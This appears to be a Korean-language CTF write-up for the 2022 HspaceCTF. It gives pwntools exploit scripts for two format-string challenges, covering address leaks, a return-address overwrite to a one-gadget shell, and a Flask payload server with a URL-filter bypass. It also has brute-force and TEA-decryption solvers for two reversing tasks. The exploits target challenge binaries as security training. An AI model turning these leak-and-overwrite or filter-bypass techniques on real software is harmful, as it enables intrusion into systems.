2022 HspaceCTF

6 minute read

EasyPwn

  • fsb

우선 format string bug가 발생하지만, 우리가 입력할 수 있는 공간이 32byte밖에 되지 않아 한번에 쉘을 획득하기 힘들다. 우선 libc, stack 등의 주소를 leak했다. 이후 fsb로 stack에 있는 index변수를 덮어도 되지만, ret address의 하위 바이트를 덮어서 __libc_start_main에서 main함수로 다시 돌아갈 수 있도록 했다. 이후 return address를oneshot주소로 덮어서 shell을 획득했다.

 1from pwn import *
 2
 3# context.log_level = 'debug'
 4e = ELF('./pwn')
 5p = process('./pwn')
 6# p = remote('52.79.163.146',12002)
 7libc = e.libc
 8
 9p.sendlineafter(b'Name :',b'realsung')
10
11pay = b''
12pay += b'%19$p.%11$p.%17$p.'
13pay = pay.ljust(16,b'A')
14pay += b'B'*8
15print(len(pay))
16pause()
17p.sendafter(b'> ',pay)
18
19l = p.recvline().split(b'.')
20print(l)
21libc_base = int(l[0],16) - (libc.symbols['__libc_start_main'] + 243)
22# log.info('libc_base : '+hex(libc_base))
23print(hex(libc_base))
24stack = int(l[1],16)
25# log.info('stack : '+hex(stack))
26print(hex(stack))
27ret = stack + 0x4c
28# log.info('ret : '+hex(ret))
29print(hex(ret))
30canary = int(l[2],16)
31print(hex(canary))
32
33one_shot = libc_base + 0x51e09
34# one_shot = libc_base + 0x4f3c2
35log.info('one_shot : '+hex(one_shot))
36
37pay = b''
38pay += '%{}c%14$hhn'.format(0x3b).encode()
39pay = pay.ljust(16,b'B')
40pay += p64(ret)
41print(pay)
42
43p.sendafter(b'> ',pay)
44
45p.sendlineafter(b'Name :',b'realsung')
46
47pay = b''
48pay += '%{}c%14$hn'.format(int(hex(one_shot)[-4:],16)).encode()
49pay = pay.ljust(16,b'B')
50pay += p64(ret)
51
52p.sendafter(b'> ',pay)
53
54pay = b''
55pay += '%{}c%14$hn'.format(int(hex(one_shot)[-8:-4],16)).encode()
56pay = pay.ljust(16,b'B')
57pay += p64(ret+2)
58
59p.sendafter(b'> ',pay)
60
61p.interactive()

CVES

  • fsb

처음에 flag를 읽어서 heap 영역에 저장한다. FSB가 발생하므로, stack영역에 flag문자열이 저장된 heap주소를 적고 이 부분을 fsb로 출력해주면 된다.
Exploit Plan은 SubDomain을 만들어서 우회해주고, flask를 이용해서 서버 세팅을 했다. binary를 분석해보면 알다싶이 debug모드를 이용해서 fsb trigger를 할 수 있다. 필터링 우회 방법이 여러가지가 있는데 나 같은 경우는 SubDomain을 활용했고, @를 이용해서 http://cvedetails.com@realsung.kr 이런식으로도 우회해 내 서버로 request를 보낼 수 있다. server.py

 1from flask import Flask, request, render_template
 2import logging
 3import base64
 4
 5logging.basicConfig(level=logging.DEBUG)
 6global payload
 7payload = ''
 8
 9app = Flask(__name__)
10
11@app.route('/')
12def home():
13    return 'Hello, World!'
14
15@app.route('/cve/CVE-2022-2879')
16def cve():
17	return '''
18	<script>debugon()</script>
19<div class="cvedetailssummary">aarealsung<br><div class="cvssbox" style="background-color:#d1ff00">%53$p.%11$p.%9$p</div>
20	'''.strip()
21
22@app.route('/fsb', methods=['GET'])
23def fsb():
24	global payload
25	pay = request.args.get('payload')
26	app.logger.info(base64.b64decode(payload))
27	payload = base64.b64decode(pay)
28	return 'good'
29
30@app.route('/cve/CVE-2022-2880')
31def cve2():
32	return render_template('flag.html')
33
34@app.route('/cve/CVE-2022-2881')
35def cve4():
36	return '''
37	<script>debugon()</script>
38<div class="cvedetailssummary">aarealsung<br><div class="cvssbox" style="background-color:#d1f    f00">%16$s</div>
39	'''.strip()
40
41if __name__ == '__main__':
42    app.run(port=7777, debug=True)

solve.py

 1from pwn import *
 2import requests
 3import base64
 4context.log_level = 'debug'
 5e = ELF('./cves')
 6# p = e.process(aslr=True)
 7p = remote('hspace.io',13444)
 8context.bits = 64
 9libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
10
11# seturl
12# geturl
13# getcve
14# getexp
15# pause()
16p.sendlineafter(b'>',b'seturl')
17p.sendafter(b':',b'http://cvedetails.com.realsung.kr')
18p.sendlineafter(b'>',b'getcve')
19p.sendlineafter(b':',b'CVE-2022-2879')
20p.recvuntil(b'Score: ',)
21l = p.recvline().split(b'.')
22libc_base = int(l[0],16) - (libc.symbols['__libc_start_main'] + 128)
23pie_base = int(l[1],16) - 0x1f2f
24heap_base = int(l[2],16) - 0x2e9a0
25print(hex(libc_base))
26print(hex(pie_base))
27print(hex(heap_base))
28
29payload = fmtstr_payload(9, {pie_base+0x0000000000005138:0})
30print(payload)
31
32p.sendlineafter(b'>',b'getcve')
33# pause()
34p.sendlineafter(b':',b'CVE-2022-2881' + b'\x00\x00\x00' + p64(heap_base + 0x1cd30))
35p.interactive()

matflag

첫 인덱스는 마지막 글자를 저장하고 있고, 암호화된 이전 인덱스 값을 이용해 암호화 합니다.
마지막 글자를 알고 있으니, 브루트포싱을 통해서 만족시키는 값을 찾아내면 됩니다.

 1t = '167 a4 1af e1 79 185 6b 189 6b d5 199 19d 19d 1b3 71 9c 109 180 195 1c0 1ce 41 c2 f7 1a8 26 c7 8a 139 193'.split(' ')
 2table = []
 3for i in t: table.append(int(i,16))
 4
 5ptr = [0] * 32
 6ptr[0] = ord('}')
 7for i in range(len(table)):
 8    for k in range(32,127):
 9        v6 = 1
10        for j in range(17):
11            v6 = (k + ptr[i]) * v6 % 481
12        ptr[(i + 1) % len(table)] = v6
13        if ptr[(i + 1) % len(table)] == table[(i+1) % len(table)]:
14            print(chr(k),end="")
15            break

encode_box

  • TEA Algorithm

32byte를 입력받은뒤 sbox 연산하고, tea 암호화를 하는 logic을 가지고 있습니다. 간단하게 tea 복호화하고 sbox 역연산으로 구해주면 됩니다.

 1import struct
 2
 3def decrypt(v0, v1 ,k):
 4    delta, mask = 0x78C8E0E9, 0xffffffff
 5    sum = (delta * 32) & mask
 6    for _ in range(32):
 7        v1 = (v1 - ((v0+sum)^ ((v0<<4)+k[2]) ^ ((v0>>5)+k[3]))) & mask
 8        v0 = (v0 - ((v1+sum) ^ ((v1<<4)+k[0]) ^ ((v1>>5)+k[1]))) & mask
 9        sum = (sum - delta) & mask
10    return struct.pack("!2L", v0, v1)
11
12cipher = [0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16]
13key = [0xDEADBEEF, 0xBEEFDEAD, 0xABCDDCBA, 0x189421FC]
14table = [0xD21CB940, 0x728CD2AD, 0xA3C835FA, 0x9F78A020, 0xD0E637F9, 0x66D62DFE, 0x9E346BF9, 0xBE673B02]
15
16flag = ''
17for k in range(0, len(table), 2):
18    dec = decrypt(table[k], table[k+1], key)
19    v0, v1 = struct.unpack('<2L', dec)
20    v0 = v0.to_bytes(4, byteorder = 'big')
21    v1 = v1.to_bytes(4, byteorder = 'big')
22    for i in v0:
23        flag += chr(cipher.index(i))
24    for j in v1:
25        flag += chr(cipher.index(j))
26print(flag)